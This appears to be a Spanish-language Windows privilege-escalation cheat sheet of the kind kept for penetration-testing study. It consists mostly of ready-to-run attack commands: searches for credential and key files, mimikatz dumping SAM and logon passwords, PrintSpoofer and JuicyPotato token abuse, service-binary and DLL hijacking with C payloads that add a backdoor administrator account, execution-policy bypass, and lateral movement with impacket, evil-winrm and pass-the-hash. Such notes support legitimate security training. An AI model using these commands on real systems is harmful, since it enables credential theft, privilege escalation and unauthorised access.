# Ver usuarios locales
Get-LocalUser
# Ver grupos locales
Get-LocalGroup
# Ver miembros de un grupo local
Get-LocalGroupMember 'LocalGroup'
# Información del sistema operativo
systeminfo
# Información de las tarjetas de red
ipconfig /all
# Información de la tabla de enrutamiento
route print
# Información de los puertos abiertos
netstat -ano
# Programas instalados (32 y 64 bits)
Get-ItemProperty "HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*" | select displayname
Get-ItemProperty "HKLM:\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*" | select displayname
# Procesos activos
Get-Process
Get-Process | Select-Object Path
# Información de las unidades de disco
Get-WmiObject Win32_LogicalDisk
# Información del hardware
Get-WmiObject Win32_ComputerSystem
Get-WmiObject Win32_BIOS
# Conexiones de red actuales
Get-NetTCPConnection
Archivos en texto plano
# Búsqueda de archivos
Get-ChildItem -Path C:\\ -Include *.kdbx,*.db -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path ./ -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\\Users\\ -Include *.txt,*.db,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.ini,*.kdbx -File -Recurse -ErrorAction SilentlyContinue
# Archivos potencialmente interesantes
C:\\xampp\\mysql\\bin\\my.ini
C:\\xampp\\passwords.txt
C:\\inetpub\\wwwroot\\web.config
C:\\inetpub\\logs\\LogFiles\\W3SVC1\\*
C:\\Windows\\System32\\drivers\\etc\\hosts
C:\\xampp\\apache\\logs\\*
C:\\xampp\\apache\\logs
C:\\Program Files (x86)\\FileZilla Server\\FileZilla Server.xml
C:\\Users\\username\\AppData\\Roaming\\FileZilla\\recentservers.xml
C:\\Users\\username\\.ssh\\id_rsa
Permisos de usuario
# Ver información del usuario actual
whoami /all
# Información de un usuario
net user 'username'
# Abusar de SeImpersonatePrivilege con PrintSpoofer
.\\PrintSpoofer64.exe -i -c powershell.exe
# Abusar de SeImpersonatePrivilege con mimikatz
.\\mimikatz.exe 'privilege::debug' 'token::elevate' 'lsadump::sam' 'sekurlsa::logonpasswords' 'exit'
# Abusar de JuicyPotato o JuicyPotatoNG
.\\JuicyPotato.exe -t * -p "C:\\Windows\\System32\\cmd.exe" -l 1337 -c "{F0000000-0000-0000-0000-000000000046}"
.\\JuicyPotatoNG.exe -t * -p "C:\\Users\\user\\Desktop\\rev.exe"
Información de Powershell
# Ver historial de PowerShell y su ubicación
Get-History
(Get-PSReadlineOption).HistorySavePath
# ByPass ExecutionPolicy
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process
# Listar módulos de PowerShell
Get-Module -ListAvailable
# Ver la política de ejecución actual
Get-ExecutionPolicy -List
Secuestro de binarios
# Listar servicios y sus rutas ejecutables
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
# Cargar y ejecutar PowerUp.ps1
. .\\PowerUp.ps1
Get-ModifiableServiceFile
# Ver info de un servicio
Get-Service -Name "audittracker" | Format-List *
# Cambiar el binario y ejecutar el servicio
rm \\DevelopmentExecutables\\auditTracker.exe
mv lala.exe \\DevelopmentExecutables\\auditTracker.exe
sc.exe start auditTracker
Cross Compiling EXE
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
return 0;
}
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
Secuestro de DLL
# Listar servicios y sus rutas ejecutables
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Cross Compiling DLL
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll
#If dont work use
x86_64-w64-mingw32-g++ BetaLibrary.cpp --shared -o BetaLibrary.dll
Load DLL
#include <windows.h>
#include <stdio.h>
int main() {
// Ruta de la DLL (debe estar en la misma carpeta o indicar el path absoluto)
LPCSTR dllPath = ".\\\\test.dll";
// Verificar si el archivo existe
DWORD fileAttr = GetFileAttributesA(dllPath);
if (fileAttr == INVALID_FILE_ATTRIBUTES) {
printf("Error: La DLL no existe en la ruta especificada: %s\\n", dllPath);
printf("Por favor, asegurese de que el archivo esta presente.\\n");
return 1;
}
// Cargar la DLL
HMODULE hDll = LoadLibrary(dllPath);
if (hDll == NULL) {
printf("Error al cargar la DLL: %lu\\n", GetLastError());
return 1;
}
printf("DLL cargada exitosamente.\\n");
// Liberar la DLL
FreeLibrary(hDll);
return 0;
}
Unquoted Service Paths
Import-Module .\\PowerUp.ps1
Invoke-AllChecks
Get-UnquotedService
Tareas programadas
# Listar tareas programadas
schtasks /query /fo LIST /v
# Ver tareas programadas del usuario actual
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq $env:USERNAME}
# Ver tareas programadas con permisos de SYSTEM
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"}
Correr comandos como usuarios
# Correr comandos como otro usuario
runas /user:backupadmin cmd
# Correr comandos como otro usuario con credenciales
$password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)
Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
# Correr comandos como otro usuario con herramienta externa
RunasCS.exe /user:domain\\username /password:password /command:"cmd.exe /c whoami"
# Correr comandos como otro usuario con Evil-WinRM (Puerto 5985)
evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123!!"
# Correr comandos como otro usuario con WMI (Puerto 135)
impacket-wmiexec domain/username:password@target_ip "cmd.exe /c whoami"
# Correr comandos como otro usuario con PsExec (Puerto 445)
impacket-psexec -hashes lmhash:nthash domain/username@target_ip "cmd.exe /c whoami"
impacket-psexec domain/username:password@target_ip "cmd.exe"
# Correr comandos como otro usuario con CrackMapExec (Puerto 445)
cme smb target_ip -u username -p password --exec-method smbexec -x "whoami"
Extras
# Habilitar RDP
Set-ItemProperty -Path 'HKLM:\\System\\CurrentControlSet\\Control\\Terminal Server' -name "fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
# Cambiar contraseña de un usuario
net user Administrator lala
# Ver permisos de archivos
icacls "archivo"
# Ver registros de eventos
Get-EventLog -
# Bypass execution policy
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
Referencias
https://lolbas-project.github.io/
https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md